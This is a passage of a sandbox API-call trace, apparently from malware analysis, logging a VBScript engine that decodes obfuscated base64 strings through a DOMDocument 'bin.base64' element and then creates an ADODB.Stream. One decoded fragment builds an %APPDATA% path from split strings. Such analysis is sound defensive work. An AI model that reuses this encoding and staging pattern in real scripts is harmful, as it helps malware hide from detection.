Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0088.822] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532e8 | out: ppvObject=0x1532e8*=0x83fd368) returned 0x0 [0088.822] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1532e4 | out: ppvObject=0x1532e4*=0x83fd378) returned 0x0 [0088.822] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0088.822] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.822] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.822] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0088.822] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532e8 | out: ppvObject=0x1532e8*=0x83fd368) returned 0x0 [0088.822] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1532e4 | out: ppvObject=0x1532e4*=0x83fd378) returned 0x0 [0088.822] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0088.822] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.822] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.822] DOMDocument:IUnknown:Release (This=0x1112bf0) returned 0x3 [0088.822] DOMDocument:IUnknown:Release (This=0x1112bf0) returned 0x2 [0088.823] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1543c0 | out: ppvObject=0x1543c0*=0x1112bf0) returned 0x0 [0088.823] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x1543c4 | out: ppvObject=0x1543c4*=0x0) returned 0x80004002 [0088.823] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154394 | out: ppvObject=0x154394*=0x83fd368) returned 0x0 [0088.823] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x154390 | out: ppvObject=0x154390*=0x83fd378) returned 0x0 [0088.823] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x1543c4 | out: ppvObject=0x1543c4*=0x0) returned 0x80004002 [0088.823] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.823] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.823] DOMDocument:IUnknown:Release (This=0x1112bf0) returned 0x2 [0088.823] DOMDocument:IUnknown:Release (This=0x5544dc) returned 0x1 [0088.823] DOMDocument:IUnknown:QueryInterface (in: This=0x5544b0, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154454 | out: ppvObject=0x154454*=0x555338) returned 0x0 [0088.823] DOMDocument:IUnknown:AddRef (This=0x555338) returned 0x2 [0088.823] DOMDocument:IUnknown:Release (This=0x555338) returned 0x1 [0088.823] DOMDocument:IUnknown:Release (This=0x5544b0) returned 0x2 [0088.823] DOMDocument:IUnknown:QueryInterface (in: This=0x555338, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15453c | out: ppvObject=0x15453c*=0x55536c) returned 0x0 [0088.823] DOMDocument:IDispatchEx:GetDispId (in: This=0x55536c, bstrName="CreateElement", grfdex=0x8, pid=0x154558 | out: pid=0x154558*=41) returned 0x0 [0088.823] DOMDocument:IUnknown:Release (This=0x55536c) returned 0x1 [0088.823] DOMDocument:IUnknown:AddRef (This=0x555338) returned 0x2 [0088.823] DOMDocument:IUnknown:QueryInterface (in: This=0x555338, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154544 | out: ppvObject=0x154544*=0x55536c) returned 0x0 [0088.824] DOMDocument:IDispatchEx:InvokeEx (in: This=0x55536c, id=41, lcid=0x409, wFlags=0x3, pdp=0x154510*(rgvarg=([0]=0x83d66d8*(varType=0x8, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1="aux", varVal2=0x8791454)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarRes=0x154624, pei=0x1544ec, pspCaller=0x846d2a8 | out: pdp=0x154510*(rgvarg=([0]=0x83d66d8*(varType=0x8, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1="aux", varVal2=0x8791454)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarRes=0x154624*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x555450, varVal2=0x0), pei=0x1544ec*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0088.824] DOMDocument:IUnknown:Release (This=0x55536c) returned 0x2 [0088.824] DOMDocument:IUnknown:Release (This=0x555338) returned 0x1 [0088.824] DOMDocument:IUnknown:QueryInterface (in: This=0x555450, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154434 | out: ppvObject=0x154434*=0x555430) returned 0x0 [0088.824] DOMDocument:IUnknown:Release (This=0x555450) returned 0x1 [0088.824] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0088.824] DOMDocument:IUnknown:Release (This=0x1112980) returned 0x0 [0088.824] DOMDocument:IUnknown:AddRef (This=0x555430) returned 0x2 [0088.824] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0088.825] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="odjeiojfyd2f8fu34u", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0088.825] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="odjeiojfyd2f8fu34u", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0088.825] GetCurrentThreadId () returned 0xd44 [0088.825] IUnknown:Release (This=0x11977a8) returned 0x7 [0088.825] ??2@YAPAXI@Z () returned 0x86bfeb0 [0088.825] malloc (_Size=0x804) returned 0x83fc220 [0088.825] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0088.825] _wcsicmp (_String1="wslausfychks", _String2="age64Dicode") returned 22 [0088.825] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0088.825] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15453c | out: ppvObject=0x15453c*=0x555430) returned 0x0 [0088.825] DOMDocument:IDispatchEx:GetDispId (in: This=0x555430, bstrName="DataType", grfdex=0x8, pid=0x154558 | out: pid=0x154558*=26) returned 0x0 [0088.825] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0088.826] DOMDocument:IUnknown:AddRef (This=0x555430) returned 0x2 [0088.826] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154544 | out: ppvObject=0x154544*=0x555430) returned 0x0 [0088.826] DOMDocument:IDispatchEx:InvokeEx (in: This=0x555430, id=26, lcid=0x409, wFlags=0x4, pdp=0x154510*(rgvarg=([0]=0x15444c*(varType=0x8, wReserved1=0x15, wReserved2=0x4a54, wReserved3=0x15, varVal1="bin.base64", varVal2=0x154a3c)), rgdispidNamedArgs=([0]=0x15450c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1544ec, pspCaller=0x846d2a8 | out: pdp=0x154510*(rgvarg=([0]=0x15444c*(varType=0x8, wReserved1=0x15, wReserved2=0x4a54, wReserved3=0x15, varVal1="bin.base64", varVal2=0x154a3c)), rgdispidNamedArgs=([0]=0x15450c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1544ec*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0088.826] DOMDocument:IUnknown:Release (This=0x555430) returned 0x2 [0088.826] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0088.826] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0088.826] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vartyzx", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0088.826] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vartyzx", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0088.826] GetCurrentThreadId () returned 0xd44 [0088.827] IUnknown:Release (This=0x11977a8) returned 0x7 [0088.827] malloc (_Size=0x404) returned 0x11c29f0 [0088.827] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0088.827] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vartx", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0088.827] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vartx", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0088.827] GetCurrentThreadId () returned 0xd44 [0088.827] IUnknown:Release (This=0x11977a8) returned 0x7 [0088.827] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0088.827] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="rey45r3t3e3yhju", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0088.827] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="rey45r3t3e3yhju", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0088.827] GetCurrentThreadId () returned 0xd44 [0088.828] IUnknown:Release (This=0x11977a8) returned 0x7 [0088.828] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0088.828] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="biehigw3r8r38uh", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0088.828] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="biehigw3r8r38uh", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0088.828] GetCurrentThreadId () returned 0xd44 [0088.828] IUnknown:Release (This=0x11977a8) returned 0x7 [0088.828] ??2@YAPAXI@Z () returned 0x86bfeb0 [0088.828] malloc (_Size=0x804) returned 0x83fc220 [0088.828] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0088.828] _wcsicmp (_String1="cvwtr5ycbve", _String2="age64Dicode") returned 2 [0088.828] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0088.828] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15453c | out: ppvObject=0x15453c*=0x555430) returned 0x0 [0088.829] DOMDocument:IDispatchEx:GetDispId (in: This=0x555430, bstrName="Text", grfdex=0x8, pid=0x154558 | out: pid=0x154558*=24) returned 0x0 [0088.829] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0088.829] DOMDocument:IUnknown:AddRef (This=0x555430) returned 0x2 [0088.829] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154544 | out: ppvObject=0x154544*=0x555430) returned 0x0 [0088.829] DOMDocument:IDispatchEx:InvokeEx (in: This=0x555430, id=24, lcid=0x409, wFlags=0x4, pdp=0x154510*(rgvarg=([0]=0x15444c*(varType=0x8, wReserved1=0x200, wReserved2=0x4950, wReserved3=0x15, varVal1="QWxsRmF0YSA9IHNoZWxsb2JqLmV4cGFuZEVudmlyb25tZW50U3RyaW5ncygiICUgQVBQRCIgKyAiQVRBICVcIik=", varVal2=0x11977ac)), rgdispidNamedArgs=([0]=0x15450c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1544ec, pspCaller=0x846d2a8 | out: pdp=0x154510*(rgvarg=([0]=0x15444c*(varType=0x8, wReserved1=0x200, wReserved2=0x4950, wReserved3=0x15, varVal1="QWxsRmF0YSA9IHNoZWxsb2JqLmV4cGFuZEVudmlyb25tZW50U3RyaW5ncygiICUgQVBQRCIgKyAiQVRBICVcIik=", varVal2=0x11977ac)), rgdispidNamedArgs=([0]=0x15450c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1544ec*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0088.829] DOMDocument:IUnknown:Release (This=0x555430) returned 0x2 [0088.829] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0088.829] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154828 | out: ppvObject=0x154828*=0x555430) returned 0x0 [0088.829] DOMDocument:IDispatchEx:GetDispId (in: This=0x555430, bstrName="NodeTypedValue", grfdex=0x8, pid=0x154844 | out: pid=0x154844*=25) returned 0x0 [0088.829] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0088.829] DOMDocument:IUnknown:AddRef (This=0x555430) returned 0x2 [0088.830] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154830 | out: ppvObject=0x154830*=0x555430) returned 0x0 [0088.830] DOMDocument:IDispatchEx:InvokeEx (in: This=0x555430, id=25, lcid=0x409, wFlags=0x3, pdp=0x1547fc*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarRes=0x83d6718, pei=0x1547d8, pspCaller=0x846d2a8 | out: pdp=0x1547fc*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarRes=0x83d6718*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6b07918*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6ca1788*, rgsabound=((cElements=0x41, lLbound=0))), varVal2=0x0), pei=0x1547d8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0088.830] DOMDocument:IUnknown:Release (This=0x555430) returned 0x2 [0088.830] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0088.830] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0088.830] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0088.830] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="lfkfdiooie", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0088.830] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="lfkfdiooie", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0088.830] GetCurrentThreadId () returned 0xd44 [0088.831] IUnknown:Release (This=0x11977a8) returned 0x8 [0088.831] ??2@YAPAXI@Z () returned 0x11c2068 [0088.831] LCMapStringW (in: Locale=0x409, dwMapFlags=0x100, lpSrcStr="utf-8", cchSrc=5, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 5 [0088.831] LCMapStringW (in: Locale=0x409, dwMapFlags=0x100, lpSrcStr="utf-8", cchSrc=5, lpDestStr=0x6d03f14, cchDest=5 | out: lpDestStr="utf-8") returned 5 [0088.831] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0088.831] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vgct783hth", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0088.831] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vgct783hth", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0088.831] GetCurrentThreadId () returned 0xd44 [0088.831] IUnknown:Release (This=0x11977a8) returned 0x8 [0088.832] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0088.832] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="piiing", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0088.832] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="piiing", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0088.832] GetCurrentThreadId () returned 0xd44 [0088.832] IUnknown:Release (This=0x11977a8) returned 0x8 [0088.832] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0088.832] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ldiwuywfj", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0088.832] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ldiwuywfj", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0088.832] GetCurrentThreadId () returned 0xd44 [0088.832] IUnknown:Release (This=0x11977a8) returned 0x8 [0088.832] malloc (_Size=0x204) returned 0x83d6fd0 [0088.833] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0088.833] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="lsvosfouwoupwiot", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0088.833] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="lsvosfouwoupwiot", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0088.833] GetCurrentThreadId () returned 0xd44 [0088.833] IUnknown:Release (This=0x11977a8) returned 0x8 [0088.833] ??2@YAPAXI@Z () returned 0x86bfeb0 [0088.833] malloc (_Size=0x804) returned 0x83fc220 [0088.833] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0088.833] _wcsicmp (_String1="aaax", _String2="BytesToStr") returned -1 [0088.834] CLSIDFromProgIDEx (in: lpszProgID="ADODB.Stream", lpclsid=0x154268 | out: lpclsid=0x154268*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4))) returned 0x0 [0088.834] SysStringLen (param_1=0x0) returned 0x0 [0088.834] CoGetClassObject (in: rclsid=0x154268*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x154258 | out: ppv=0x154258*=0x962b2d0) returned 0x0 [0088.898] Stream:IUnknown:QueryInterface (in: This=0x962b2d0, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x154254 | out: ppvObject=0x154254*=0x0) returned 0x80004002 [0088.898] Stream:IClassFactory:CreateInstance (in: This=0x962b2d0, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x15425c | out: ppvObject=0x15425c*=0x962b320) returned 0x0 [0088.898] Stream:IUnknown:Release (This=0x962b2d0) returned 0x1 [0088.898] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x154220 | out: ppvObject=0x154220*=0x962b350) returned 0x0 [0088.898] ??2@YAPAXI@Z () returned 0x1112980 [0088.898] Stream:IObjectWithSite:SetSite (This=0x962b350, pUnkSite=0x1112980) returned 0x0 [0088.898] DOMDocument:IUnknown:QueryInterface (in: This=0x1112980, riid=0x764097c4*(Data1=0x1b, Data2=0x0, 